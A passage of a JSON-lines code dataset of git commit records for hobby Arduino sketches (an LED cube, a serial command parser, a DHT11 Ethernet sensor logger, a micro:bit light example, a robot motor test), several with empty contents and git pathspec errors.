LOW);\n }\n delay(DELAY);\n digitalWrite(rows[i], HIGH);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/2x2x2-cube.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"829709ab2767b2b1c622456b212844dffe9d45bc","subject":"Start of arduinoCOM","message":"Start of arduinoCOM\n","repos":"DrTrust\/ftg-main,DrTrust\/ftg-main,DrTrust\/ftg-main,DrTrust\/ftg-main","old_file":"arduinoCom\/main\/main.ino","new_file":"arduinoCom\/main\/main.ino","new_contents":"String comData = \"\";\n\n#define MAX_COMMANDS 2\n#define MAX_PARAM 2\n#define COMMAND_SEPARATOR ',';\n\nvoid (*CommandList[MAX_COMMANDS])(const String[MAX_PARAM]);\n\nint registerd_commands = 0;\n\nenum commands\n{\n\tled_on,\n\tled_off,\n};\n\nvoid setup()\n{\n\tSerial.begin(9600);\n}\n\nvoid loop()\n{\n\tGetSerialInput();\n}\n\nvoid GetSerialInput()\n{\n\tif (Serial.available())\n\t{\n\t\tchar inputbyte = (char)Serial.read();\n\n\t\t\/\/If not-static\n\t\tif ((int)inputbyte > 31)\n\t\t{\n\t\t\tstatic bool mayRead = false;\n\n\t\t\t\/\/add to input\n\t\t\tswitch (inputbyte)\n\t\t\t{\n\t\t\tcase '{':\n\t\t\t{\n\t\t\t\t\t\tmayRead = true;\n\t\t\t\t\t\tcomData = \"\";\n\t\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase '}':\n\t\t\t{\n\t\t\t\t\t\tmayRead = false;\n\t\t\t\t\t\tvalidateCommand(comData);\n\t\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault:\n\t\t\t{\n\t\t\t\t\t if (mayRead)\n\t\t\t\t\t {\n\t\t\t\t\t\t comData += inputbyte;\n\t\t\t\t\t }\n\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n\tvoid validateCommand(String command)\n\t{\n\t\tint commandID = command.toInt();\n\n\t\tif (commandID >= registerd_commands || commandID < 1)\n\t\t{\n\t\t\t\/\/Populate params with comma separated values (Exception to comma's between double quotes)\n\t\t\tString params[MAX_PARAM];\/\/NOTE, values not initialised, will cause error\n\n\t\t\t\/\/initialise all possible parameters, even the ones that are not used\n\t\t\tfor (int indexer = 0; indexer < MAX_PARAM; indexer++)\n\t\t\t{\n\t\t\t\tparams[indexer] = \"\";\n\t\t\t}\n\n\t\t\t\/\/TODO take apart Command with exception to the length of CommandID\n\t\t\t\/\/Loop each string index and check for separator COMMAND_SEPARATOR\n\t\t\t\/\/For each separator found, check the length of buffered text.\n\t\t\t\/\/If longer than 0 (NOT 0), then set value for params[index++] = paramtext\n\n\t\t\tCommandList[commandID](params);\n\t\t}\n\n\t}\n\n\tbool AddCommand(int CommandID, void (*command)(const String[MAX_PARAM]))\n\t{\n\t\tif (registerd_commands == MAX_COMMANDS)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tCommandList[registerd_commands] = command;\n\n\t\tregisterd_commands++;\n\t}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinoCom\/main\/main.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8cbc593c6fb5db2fbe372ef649b1a9d36a53e5e1","subject":"Arduino-Ethernet-DHT11","message":"Arduino-Ethernet-DHT11","repos":"zaxarias\/Arduino-Ethernet-Sensor","old_file":"sketch_apr17aTempHumDelayFinal.ino","new_file":"sketch_apr17aTempHumDelayFinal.ino","new_contents":"#include <dht.h> \/\/DHT11 LIBRARY\n#include <UIPEthernet.h> \/\/UIPE ETHERNT LIBRARY FOR THE ETHERNET MODULE ENC28J60\n#define DHT11_PIN 9 \/\/ DHT11 IS CONNECTED TO PIN NUMBER 9 (ARDUINO UNO BOARD), OR SPECIFY ANY OTHER PIN\n#define DEBUG \/\/ TURN DEBUGGING ON OR OFF, TO TURN IT OFF JUST COMMENT THIS LINE\ndht DHT; \/\/ DEFINE A \"dht\" OBJECT INSTANCE WITH THE NAME \"DHT\"\n\/* ETHERNET SETTINGS\nARDUINO UNO PINS USED FOR THE ENC28J60 MODULE: 10=CS, 11=MOSI, 12=MISO, 13=SCK\nTHE ETHERNET MAC ADDRESS MUST BE UNIQUE IN THE PRIVATE LOCAL NETWORK\nREMEMBER THAT THE MAC ADDRESS IS IN HEXADECIMAL FORMAT\nIN THIS EXAMPLE WE USE THE FOLLOWING MAC ADDRESS : OE:96:03:38:94:92 *\/\nbyte mac[] = { 0x0E, 0x96, 0x03, 0x38, 0x94, 0x92 };\nEthernetClient client; \/\/ CREATES A CLIENT WHICH CAN CONNECT TO A SPECIFIED INTERNET IP ADDRESS AND PORT\nchar server[] = \"192.168.1.4\"; \/\/\/ IP ADDRESS OF THE LOCAL SERVER WE CONNECT AND SEND DATA TO\nint interval = 5000; \/\/ DELAY INTERVAL TO SAVE THE DATA IN THE DATABSE\nlong myinterval = 6000; \/\/3 Minutes-> 180000ms INTERVAL BETWEEN DATA READINGS, I SET IT IN 6 SECONDS FOR TESTING PURPOSES\nlong previousMillis = 0;\nint status = -2; \/\/ INITIALIZE THE CONNECTION STATUS VARIABLE\nvoid setup() {\n Serial.begin(9600); \/\/ OPEN SERIAL COMMUNICATIONS AND WAIT FOR A PORT TO OPEN\n Ethernet.begin(mac); \/\/ INITIALIZES THE ETHERNET LIBRARY AND NETWORK SETTINGS\n \/* ETHERNET SERIAL PRINTS\n INFORMATION ABOUT CLIENTS IP ADDRESS, THE SUBNET MASK OF THE NETWORK, THE GATEWAYS\n IP ADDRESS AND FINALLY THE DNS SERVER IP ADDRESS WHICH IS THE SAME AS THE GATEWAYS IP\n THESE INFORMATION WILL ONLY BE VISIBLE WHEN DEBUGGING IS ON *\/\n#ifdef DEBUG\n Serial.println(\"Temperature Logger\");\n Serial.println(\"*********************\");\n Serial.print(\"IP Address : \");\n Serial.println(Ethernet.localIP());\n Serial.print(\"Subnet Mask : \");\n Serial.println(Ethernet.subnetMask());\n Serial.print(\"Default Gateway IP: \");\n Serial.println(Ethernet.gatewayIP());\n Serial.print(\"DNS Server IP : \");\n Serial.println(Ethernet.dnsServerIP());\n#endif\n}\n\nvoid loop() {\n unsigned long currentMillis = millis();\n \/\/ RESET ENC28J60 IN CASE OF FAILURE TO CONNECT WITH THE LOCAL SERVER\n if (!client.connect(server, 80)) {\n#ifdef DEBUG\n Serial.println(\"Connection Failure: Resetting ENC28j60!\");\n#endif\n Enc28J60.init(mac); \/\/RESET AND INITIALIZE THE ENC28J60 AND STARTS PACKET TRANSMISSION-RECEPTION\n } else {\n client.stop();\n }\n \/* CONNECT TO THE SPECIFIED IP ADDRESS AND PORT\n IF A CONNECTION IS ESTABLISHED START SENDING DATA EVERY 3 MINUTES\n DATA WILL BE SENT AFTER THE FIRST 3 MINUTES\n ALSO WE CHECK THE STATUS OF THE SERVER\n THE FUNCTION CONNECT() RETURNS AN INT INDICATING CONNECTION STATUTS:\n SUCCESS (1)\n TIMED_OUT (-1)\n INVALID SERVER (-2)\n TRUNCATED (-3)\n INVALID RESPONSE (-4)*\/\n status = client.connect(server, 80);\n if (status == 1) {\n#ifdef DEBUG\n Serial.println(\"\\nConnection Success\");\n#endif\n if (currentMillis - previousMillis > myinterval) {\n previousMillis = currentMillis;\n \/\/READ DATA FROM THE DHT11 SENSOR\n int chk = DHT.read11(DHT11_PIN);\n \/* THE READ11() FUNCTION RETURNS:\n DHTLIB_OK (0): THE SENSOR SAMPLE AND ITS CHECKSUM ARE OK\n DHTLIB_ERROR_CHECKSUM (-1): THE CHECKSUM TEST FAILED. THIS MEANS THE DATA WAS RECEIVED BUT MAY NOT BE CORRECT\n DHTLIB_ERROR_TIMEOUT (-2): A TIME OUT OCCURRED AND COMMUNICATION HAS FAILED\n BELOW WE CHECK THE STATUS OF THE SENSOR *\/\n#ifdef DEBUG\n switch (chk) {\n case 0:\n Serial.print(\"Sensor OK\");\n break;\n case -1:\n Serial.print(\"Checksum Test Failed\");\n break;\n case -2:\n Serial.print(\"Time out Occurred, Communication Failed\");\n break;\n default:\n Serial.print(\"Unknown Error\");\n break;\n }\n#endif\n \/\/ PRINT THE HUMIDITY AND TEMPERATURE VALUES IN THE SERIAL MONITOR\n#ifdef DEBUG\n Serial.print(\"\\nValues: \");\n Serial.print(DHT.humidity, 1);\n Serial.print(\",\\t\");\n Serial.println(DHT.temperature, 1);\n Serial.println(\"Connected...sendingData\");\n#endif\n \/\/ MAKE A HTTP REQUEST\n \/\/ SPECIFY THE PHP FILE LOCATION IN THE SERVER\n \/\/PRINT DATA TO THE SERVER THE CLIENT IS CONNECTED TO\n \/\/STRUCTURE: \"GET \/filepath\/yourfile.php?\"\n client.print( \"GET \/arduEth\/write_data.php?\");\n client.print(\"hum=\"); \/\/DATABASE VARIABLE IS USED\n client.print(DHT.humidity, 1); \/\/THE VALUE TO WRITE IN THE DATABSE FOR HUMIDITY\n client.print(\"&&\");\n client.print(\"temp=\");\n client.print(DHT.temperature, 1); \/\/THE VALUE TO WRITE IN THE DATABSE FOR TEMPERATURE\n client.println( \" HTTP\/1.1\");\n client.print( \"Host: \" );\n client.println(server);\n client.println( \"Connection: close\" );\n client.println();\n client.println();\n client.stop(); \/\/ DISCONNECT FROM THE SERVER\n delay(interval); \/\/SOME INTERVAL FOR THE DATA TO BE WRITTEN IN THE DATABASE\n }\n }\n \/\/ IN CASE OF A TIME_OUT\n else if (status == -1) {\n#ifdef DEBUG\n Serial.println(\"Connection Timed Out !\");\n#endif\n }\n \/\/ IN CASE OF AN INVALID SERVER\n else if (status == -2) {\n#ifdef DEBUG\n Serial.println(\"Invalid Server !\");\n#endif\n }\n \/\/ IN CASE OF TRUNCATION\n else if (status == -3) {\n#ifdef DEBUG\n Serial.println(\"Truncated !\");\n#endif\n }\n \/\/ IN CASE OF AN INVALID RESPONCE\n else if (status == -4) {\n#ifdef DEBUG\n Serial.println(\"Invalid Response !\");\n#endif\n }\n \/\/ IN CASE OF AN UNKNOWN ERROR\n else {\n#ifdef DEBUG\n Serial.println(\"Unknown Error !\");\n#endif\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_apr17aTempHumDelayFinal.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"26f9ebaaf72635ac2c8fe38e42028905d54fae6d","subject":"Ready for staff card updates","message":"Ready for staff card updates\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/writer_test\/writer_test.ino","new_file":"unit tests\/writer_test\/writer_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/writer_test\/writer_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a27cd3aac8ec90d3ef16632e50fb665bcf1f6141","subject":"Create AmbientLight.ino","message":"Create AmbientLight.ino","repos":"ht-deko\/microbit_Screen","old_file":"examples\/AmbientLight\/AmbientLight.ino","new_file":"examples\/AmbientLight\/AmbientLight.ino","new_contents":"#include \"microbit_Screen.h\"\n\nvoid setup() {\n SCREEN.begin(); \n}\n\nvoid loop() {\n if (SCREEN.ambientLight() > 10) \n SCREEN.showIcon(IconNames::Happy); \/\/ dazzling!\n else \n SCREEN.showIcon(IconNames::Sad);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AmbientLight\/AmbientLight.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e66afc12c69e25cdcd3eef480ac8b63e852f7c5","subject":"arduino code","message":"arduino code\n","repos":"sjhonatan\/arduino,sjhonatan\/arduino","old_file":"jtk\/pi.ino","new_file":"jtk\/pi.ino","new_contents":"#define EN1 5 \/\/DECLARANDO O ENABLE 1\n#define EN2 6 \/\/DECLARANDO O ENABLE 2\n#define IN1 4 \/\/DECLARANDO O MOTOR DIREITO DA FRENTE\n#define IN2 7 \/\/DECLARANDO O MOTOR DIREITO DE TRAS\n#define IN3 8 \/\/DECLARANDO O MOTOR ESQUERDO DA FRENTE\n#define IN4 12 \/\/DECLARANDO O MOTOR ESQUERDO DE TRAS\n#define SE1 A5 \/\/DECLARANDO O SENSOR ESQUERDO DO MEIO\n#define SD1 A4 \/\/DECLARANDO O SENSOR DIREITO DO MEIO\n#define SE2 A3 \/\/DECLARANDO O SENSOR ESQUERDO DA BORDA\n#define SD2 A2 \/\/DECLARANDO O SENSOR DIREITO DA BORDA\n\nint V = 0;\nint x = 0;\nint i = 0;\nint comando = 0;\n\nvoid setup() {\n \/\/DECLARANDO SE S\u00c3O ENTRADAS OU SAIDA \n pinMode (EN1, OUTPUT);\n pinMode (EN2, OUTPUT);\n pinMode (IN1, OUTPUT);\n pinMode (IN2, OUTPUT);\n pinMode (IN3, OUTPUT);\n pinMode (IN4, OUTPUT); \n Serial.begin (9600);\n Serial.println (\"Bem vindo ao programa de teste do rob\u00f4 do PI da primeira fase!\");\n Serial.println (\"Digite uma velocidade para o rob\u00f4: \");\n Serial.println (\"1 para 0% \");\n Serial.println (\"2 para 25% \");\n Serial.println (\"3 para 50% \");\n Serial.println (\"4 para 100% \");\n \n while (comando == 0){\n comando = Serial.read();\n if (comando == '1')\n V = 0;\n else if (comando == '2')\n V = 64; \n else if (comando == '3')\n V = 127;\n else if (comando == '4')\n V = 255; \n else \n comando = 0;\n } \n \n Serial.println (comando);\n\n analogWrite (EN1, V);\n analogWrite (EN2, V);\n \n\/\/ analogWrite (EN1, 255);\n\/\/ analogWrite (EN2, 255);\n \n}\nvoid loop() { \n\n\n \n Serial.println (\"Andando para frente: \");\n digitalWrite (IN1, HIGH); digitalWrite (IN2, LOW);\n digitalWrite (IN3, HIGH); digitalWrite (IN4,LOW);\n delay (4000);\n digitalWrite (IN1, LOW); digitalWrite (IN2, LOW);\n digitalWrite (IN3, LOW); digitalWrite (IN4,LOW); \n delay (1000);\n Serial.println (\"Andando para Tras: \"); \n digitalWrite (IN1, LOW); digitalWrite (IN2, HIGH);\n digitalWrite (IN3, LOW); digitalWrite (IN4,HIGH);\n delay (4000);\n digitalWrite (IN1, LOW); digitalWrite (IN2, LOW);\n digitalWrite (IN3, LOW); digitalWrite (IN4,LOW); \n delay (1000);\n Serial.println (\"Andando para esquerda: \");\n digitalWrite (IN1, LOW); digitalWrite (IN2, HIGH);\n digitalWrite (IN3, HIGH); digitalWrite (IN4,LOW);\n delay (4000); \n digitalWrite (IN1, LOW); digitalWrite (IN2, LOW);\n digitalWrite (IN3, LOW); digitalWrite (IN4,LOW); \n delay (1000);\n Serial.println (\"Andando para direita: \"); \n digitalWrite (IN1, HIGH); digitalWrite (IN2, LOW);\n digitalWrite (IN3, LOW); digitalWrite (IN4,HIGH);\n delay (4000); \n digitalWrite (IN1, LOW); digitalWrite (IN2, LOW);\n digitalWrite (IN3, LOW); digitalWrite (IN4,LOW); \n delay (1000);\n \/\/Fazer 5 leituras dos sensores, Aproveitar para colocar na linha branca e preta uma a cada leitura\n for (i = 0; i <= 5; i += 1){\n Serial.print (\"Sensor esquerdo 1: \"); \n Serial.println (analogRead(SE1));\n Serial.print (\"Sensor direito 1: \"); \n Serial.println (analogRead(SD1));\n Serial.print (\"Sensor esquerdo 2: \"); \n Serial.println (analogRead(SE2));\n Serial.print (\"Sensor direito 2: \"); \n Serial.println (analogRead(SD2));\n Serial.println (\" \");\n delay (3000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jtk\/pi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e6965126fa92ba98a2f08644bdac7c12a9a14338","subject":"Slower motorspeed forward.","message":"Slower motorspeed forward.\n","repos":"SEMT2Group1\/Arduino_Sketches,SEMT2Group1\/Arduino_Sketches,CasperPlatform\/Arduino_Sketches,CasperPlatform\/Arduino_Sketches","old_file":"Arduino\/Motor Controller\/MotorController_NewHardware\/MotorController_V04\/MotorController_V04.ino","new_file":"Arduino\/Motor Controller\/MotorController_NewHardware\/MotorController_V04\/MotorController_V04.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Motor' did not match any file(s) known to git\nerror: pathspec 'Controller\/MotorController_NewHardware\/MotorController_V04\/MotorController_V04.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5fef2eee1c20cfa8ac520983ac4b5813cd671734","subject":"Added new Keyboard and mouse combined control","message":"Added new Keyboard and mouse combined control\n","repos":"lulufei\/Arduino,UDOOboard\/Arduino,onovy\/Arduino,jabezGit\/Arduino,tomkrus007\/Arduino,tomkrus007\/Arduino,Cloudino\/Cloudino-Arduino-IDE,spapadim\/Arduino,mboufos\/esp8266-Arduino,linino\/Arduino,ntruchsess\/Arduino-1,chaveiro\/Arduino,adafruit\/ESP8266-Arduino,acosinwork\/Arduino,acosinwork\/Arduino,EmuxEvans\/Arduino,arunkuttiyara\/Arduino,KlaasDeNys\/Arduino,zenmanenergy\/Arduino,adafruit\/ESP8266-Arduino,gberl001\/Arduino,superboonie\/Arduino,ricklon\/Arduino,paulmand3l\/Arduino,noahchense\/Arduino-1,gurbrinder\/Arduino,gestrem\/Arduino,mateuszdw\/Arduino,nandojve\/Arduino,eddyst\/Arduino-SourceCode,Protoneer\/Arduino,odbol\/Arduino,Ramoonus\/Arduino,stickbreaker\/Arduino,gurbrinder\/Arduino,Gourav2906\/Arduino,ogferreiro\/Arduino,vbextreme\/Arduino,gonium\/Arduino,niggor\/Arduino_cc,sanyaade-iot\/Arduino-1,gonium\/Arduino,ikbelkirasan\/Arduino,scdls\/Arduino,HCastano\/Arduino,smily77\/Arduino,andyvand\/Arduino-1,rodibot\/Arduino,ogahara\/Arduino,ntruchsess\/Arduino-1,plaintea\/esp8266-Arduino,PeterVH\/Arduino,xxxajk\/Arduino-1,pdNor\/Arduino,mboufos\/esp8266-Arduino,aichi\/Arduino-2,jamesrob4\/Arduino,fungxu\/Arduino,PaintYourDragon\/Arduino,radut\/Arduino,eeijcea\/Arduino-1,NicoHood\/Arduino,wilhelmryan\/Arduino,ektor5\/Arduino,jaehong\/Xmegaduino,Cloudino\/Cloudino-Arduino-IDE,me-no-dev\/Arduino-1,jaimemaretoli\/Arduino,jamesrob4\/Arduino,paulmand3l\/Arduino,tbowmo\/Arduino,spapadim\/Arduino,fungxu\/Arduino,fungxu\/Arduino,ashwin713\/Arduino,andyvand\/Arduino-1,majenkotech\/Arduino,rodibot\/Arduino,wdoganowski\/Arduino,Cloudino\/Cloudino-Arduino-IDE,gberl001\/Arduino,bigjosh\/Arduino,ogahara\/Arduino,laylthe\/Arduino,niggor\/Arduino_cc,rodibot\/Arduino,mboufos\/esp8266-Arduino,plinioseniore\/Arduino,benwolfe\/esp8266-Arduino,gonium\/Arduino,me-no-dev\/Arduino-1,superboonie\/Arduino,linino\/Arduino,fungxu\/Arduino,PeterVH\/Arduino,jaimemaretoli\/Arduino,henningpohl\/Arduino,championswimmer\/Arduino,laylthe\/Arduino,bsmr-arduino\/Arduino,scdls\/Arduino,kidswong999\/Arduino,stevemayhew\/Arduino,talhaburak\/Arduino,bsmr-arduino\/Arduino,eggfly\/arduino,wdoganowski\/Arduino,stevemayhew\/Arduino,tbowmo\/Arduino,championswimmer\/Arduino,NicoHood\/Arduino,pdNor\/Arduino,PeterVH\/Arduino,stevemarple\/Arduino-org,nkolban\/Arduino,lukeWal\/Arduino,ricklon\/Arduino,niggor\/Arduino_cc,spapadim\/Arduino,nandojve\/Arduino,stevemarple\/Arduino-org,acosinwork\/Arduino,01org\/Arduino,Chris--A\/Arduino,HCastano\/Arduino,koltegirish\/Arduino,odbol\/Arduino,PaoloP74\/Arduino,vbextreme\/Arduino,stickbreaker\/Arduino,eggfly\/arduino,niggor\/Arduino_cc,plinioseniore\/Arduino,tbowmo\/Arduino,damellis\/Arduino,NaSymbol\/Arduino,me-no-dev\/Arduino-1,jabezGit\/Arduino,majenkotech\/Arduino,NeuralSpaz\/Arduino,jaej-dev\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ssvs111\/Arduino,mattvenn\/Arduino,probonopd\/Arduino,arduino-org\/Arduino,shannonshsu\/Arduino,gberl001\/Arduino,01org\/Arduino,PeterVH\/Arduino,stickbreaker\/Arduino,arduino-org\/Arduino,bugobliterator\/BUAGI,chaveiro\/Arduino,koltegirish\/Arduino,bigjosh\/Arduino,pdNor\/Arduino,Ramoonus\/Arduino,onovy\/Arduino,eddyst\/Arduino-SourceCode,mateuszdw\/Arduino,zaiexx\/Arduino,eggfly\/arduino,gonium\/Arduino,zaiexx\/Arduino,tannewt\/Arduino,raimohanska\/Arduino,rodibot\/Arduino,stevemarple\/Arduino-org,noahchense\/Arduino-1,arunkuttiyara\/Arduino,andyvand\/Arduino-1,plinioseniore\/Arduino,jomolinare\/Arduino,ccoenen\/Arduino,adamkh\/Arduino,ashwin713\/Arduino,eeijcea\/Arduino-1,vbextreme\/Arduino,eggfly\/arduino,mateuszdw\/Arduino,wilhelmryan\/Arduino,rcook\/DesignLab,ricklon\/Arduino,kidswong999\/Arduino,paulmand3l\/Arduino,adamkh\/Arduino,ikbelkirasan\/Arduino,ms-iot\/Arduino,damellis\/Arduino,sanyaade-iot\/Arduino-1,plaintea\/esp8266-Arduino,snargledorf\/Arduino,leftbrainstrain\/Arduino-ESP8266,PaintYourDragon\/Arduino,tommyli2014\/Arduino,leftbrainstrain\/Arduino-ESP8266,zederson\/Arduino,PeterVH\/Arduino,jomolinare\/Arduino,byran\/Arduino,eddyst\/Arduino-SourceCode,ms-iot\/Arduino,stickbreaker\/Arduino,Cloudino\/Arduino,fungxu\/Arduino,championswimmer\/Arduino,weera00\/Arduino,ogferreiro\/Arduino,Protoneer\/Arduino,gberl001\/Arduino,championswimmer\/Arduino,bsmr-arduino\/Arduino,gestrem\/Arduino,cscenter\/Arduino,snargledorf\/Arduino,smily77\/Arduino,bsmr-arduino\/Arduino,damellis\/Arduino,gestrem\/Arduino,tommyli2014\/Arduino,talhaburak\/Arduino,jaehong\/Xmegaduino,stevemarple\/Arduino-org,eddyst\/Arduino-SourceCode,ari-analytics\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mateuszdw\/Arduino,stevemayhew\/Arduino,gberl001\/Arduino,pdNor\/Arduino,diydrones\/Arduino,ms-iot\/Arduino,gonium\/Arduino,OpenDevice\/Arduino,drpjk\/Arduino,snargledorf\/Arduino,cscenter\/Arduino,tskurauskas\/Arduino,arduino-org\/Arduino,smily77\/Arduino,laylthe\/Arduino,damellis\/Arduino,ntruchsess\/Arduino-1,jabezGit\/Arduino,laylthe\/Arduino,ogahara\/Arduino,ogahara\/Arduino,zederson\/Arduino,plaintea\/esp8266-Arduino,nandojve\/Arduino,mboufos\/esp8266-Arduino,eduardocasarin\/Arduino,lulufei\/Arduino,ForestNymph\/Arduino_sources,KlaasDeNys\/Arduino,381426068\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jaimemaretoli\/Arduino,Alfredynho\/AgroSis,jabezGit\/Arduino,myrtleTree33\/Arduino,NeuralSpaz\/Arduino,henningpohl\/Arduino,henningpohl\/Arduino,wdoganowski\/Arduino,stevemarple\/Arduino-org,diydrones\/Arduino,ashwin713\/Arduino,koltegirish\/Arduino,snargledorf\/Arduino,wayoda\/Arduino,mateuszdw\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ccoenen\/Arduino,wdoganowski\/Arduino,paulo-raca\/ESP8266-Arduino,SmartArduino\/Arduino-1,danielchalef\/Arduino,jaej-dev\/Arduino,plinioseniore\/Arduino,jamesrob4\/Arduino,Cloudino\/Cloudino-Arduino-IDE,wilhelmryan\/Arduino,mattvenn\/Arduino,andrealmeidadomingues\/Arduino,championswimmer\/Arduino,wayoda\/Arduino,adafruit\/ESP8266-Arduino,stickbreaker\/Arduino,weera00\/Arduino,PaintYourDragon\/Arduino,me-no-dev\/Arduino-1,scdls\/Arduino,snargledorf\/Arduino,karlitxo\/Arduino,HCastano\/Arduino,tannewt\/Arduino,zederson\/Arduino,cscenter\/Arduino,nandojve\/Arduino,eeijcea\/Arduino-1,bigjosh\/Arduino,radut\/Arduino,pdNor\/Arduino,toddtreece\/esp8266-Arduino,gberl001\/Arduino,ikbelkirasan\/Arduino,tommyli2014\/Arduino,benwolfe\/esp8266-Arduino,zenmanenergy\/Arduino,plinioseniore\/Arduino,vbextreme\/Arduino,mattvenn\/Arduino,Alfredynho\/AgroSis,Cloudino\/Arduino,Alfredynho\/AgroSis,nandojve\/Arduino,talhaburak\/Arduino,plinioseniore\/Arduino,toddtreece\/esp8266-Arduino,pdNor\/Arduino,PeterVH\/Arduino,acosinwork\/Arduino,Ramoonus\/Arduino,tskurauskas\/Arduino,danielchalef\/Arduino,ssvs111\/Arduino,ektor5\/Arduino,acosinwork\/Arduino,steamboating\/Arduino,karlitxo\/Arduino,spapadim\/Arduino,01org\/Arduino,benwolfe\/esp8266-Arduino,Alfredynho\/AgroSis,Chris--A\/Arduino,mangelajo\/Arduino,rcook\/DesignLab,gestrem\/Arduino,Gourav2906\/Arduino,chaveiro\/Arduino,diydrones\/Arduino,ccoenen\/Arduino,mc-hamster\/esp8266-Arduino,shannonshsu\/Arduino,weera00\/Arduino,OpenDevice\/Arduino,kidswong999\/Arduino,adafruit\/ESP8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,NaSymbol\/Arduino,Cloudino\/Arduino,zaiexx\/Arduino,shannonshsu\/Arduino,toddtreece\/esp8266-Arduino,odbol\/Arduino,scdls\/Arduino,jaimemaretoli\/Arduino,arduino-org\/Arduino,EmuxEvans\/Arduino,arunkuttiyara\/Arduino,xxxajk\/Arduino-1,ogahara\/Arduino,majenkotech\/Arduino,odbol\/Arduino,niggor\/Arduino_cc,karlitxo\/Arduino,jaehong\/Xmegaduino,381426068\/Arduino,me-no-dev\/Arduino-1,garci66\/Arduino,Cloudino\/Arduino,majenkotech\/Arduino,onovy\/Arduino,bsmr-arduino\/Arduino,tommyli2014\/Arduino,PaintYourDragon\/Arduino,chaveiro\/Arduino,ari-analytics\/Arduino,PaintYourDragon\/Arduino,xxxajk\/Arduino-1,paulmand3l\/Arduino,henningpohl\/Arduino,bugobliterator\/BUAGI,Protoneer\/Arduino,zederson\/Arduino,ektor5\/Arduino,damellis\/Arduino,bsmr-arduino\/Arduino,shiitakeo\/Arduino,nkolban\/Arduino,bigjosh\/Arduino,weera00\/Arduino,zaiexx\/Arduino,majenkotech\/Arduino,ogahara\/Arduino,zenmanenergy\/Arduino,NaSymbol\/Arduino,acosinwork\/Arduino,jaehong\/Xmegaduino,arduino-org\/Arduino,kidswong999\/Arduino,tskurauskas\/Arduino,ssvs111\/Arduino,paulo-raca\/ESP8266-Arduino,ricklon\/Arduino,vbextreme\/Arduino,ms-iot\/Arduino,radut\/Arduino,gonium\/Arduino,stickbreaker\/Arduino,laylthe\/Arduino,UDOOboard\/Arduino,PaoloP74\/Arduino,ccoenen\/Arduino,shannonshsu\/Arduino,EmuxEvans\/Arduino,UDOOboard\/Arduino,smily77\/Arduino,superboonie\/Arduino,probonopd\/Arduino,vbextreme\/Arduino,steamboating\/Arduino,andrealmeidadomingues\/Arduino,jaimemaretoli\/Arduino,ogferreiro\/Arduino,steamboating\/Arduino,piersoft\/esp8266-Arduino,steamboating\/Arduino,garci66\/Arduino,stevemayhew\/Arduino,eeijcea\/Arduino-1,ogahara\/Arduino,PaoloP74\/Arduino,rcook\/DesignLab,scdls\/Arduino,ari-analytics\/Arduino,bigjosh\/Arduino,acosinwork\/Arduino,aichi\/Arduino-2,lukeWal\/Arduino,tomkrus007\/Arduino,eddyst\/Arduino-SourceCode,Ramoonus\/Arduino,ntruchsess\/Arduino-1,Gourav2906\/Arduino,ektor5\/Arduino,Orthogonal-Systems\/arduino-libs,danielchalef\/Arduino,Orthogonal-Systems\/arduino-libs,nkolban\/Arduino,snargledorf\/Arduino,kidswong999\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,rcook\/DesignLab,arunkuttiyara\/Arduino,byran\/Arduino,onovy\/Arduino,wilhelmryan\/Arduino,probonopd\/Arduino,niggor\/Arduino_cc,wayoda\/Arduino,ashwin713\/Arduino,koltegirish\/Arduino,ogferreiro\/Arduino,shiitakeo\/Arduino,arduino-org\/Arduino,zenmanenergy\/Arduino,linino\/Arduino,myrtleTree33\/Arduino,ssvs111\/Arduino,zederson\/Arduino,cscenter\/Arduino,xxxajk\/Arduino-1,noahchense\/Arduino-1,radut\/Arduino,leftbrainstrain\/Arduino-ESP8266,lukeWal\/Arduino,Chris--A\/Arduino,garci66\/Arduino,ari-analytics\/Arduino,lulufei\/Arduino,raimohanska\/Arduino,PaoloP74\/Arduino,tannewt\/Arduino,HCastano\/Arduino,aichi\/Arduino-2,adamkh\/Arduino,eduardocasarin\/Arduino,381426068\/Arduino,lukeWal\/Arduino,fungxu\/Arduino,zaiexx\/Arduino,HCastano\/Arduino,wilhelmryan\/Arduino,HCastano\/Arduino,tomkrus007\/Arduino,eggfly\/arduino,me-no-dev\/Arduino-1,cscenter\/Arduino,tannewt\/Arduino,piersoft\/esp8266-Arduino,wdoganowski\/Arduino,andyvand\/Arduino-1,NicoHood\/Arduino,bugobliterator\/BUAGI,mboufos\/esp8266-Arduino,onovy\/Arduino,tbowmo\/Arduino,shiitakeo\/Arduino,plaintea\/esp8266-Arduino,mateuszdw\/Arduino,Protoneer\/Arduino,nandojve\/Arduino,eduardocasarin\/Arduino,radut\/Arduino,ccoenen\/Arduino,eggfly\/arduino,garci66\/Arduino,mangelajo\/Arduino,drpjk\/Arduino,Chris--A\/Arduino,fungxu\/Arduino,shannonshsu\/Arduino,ik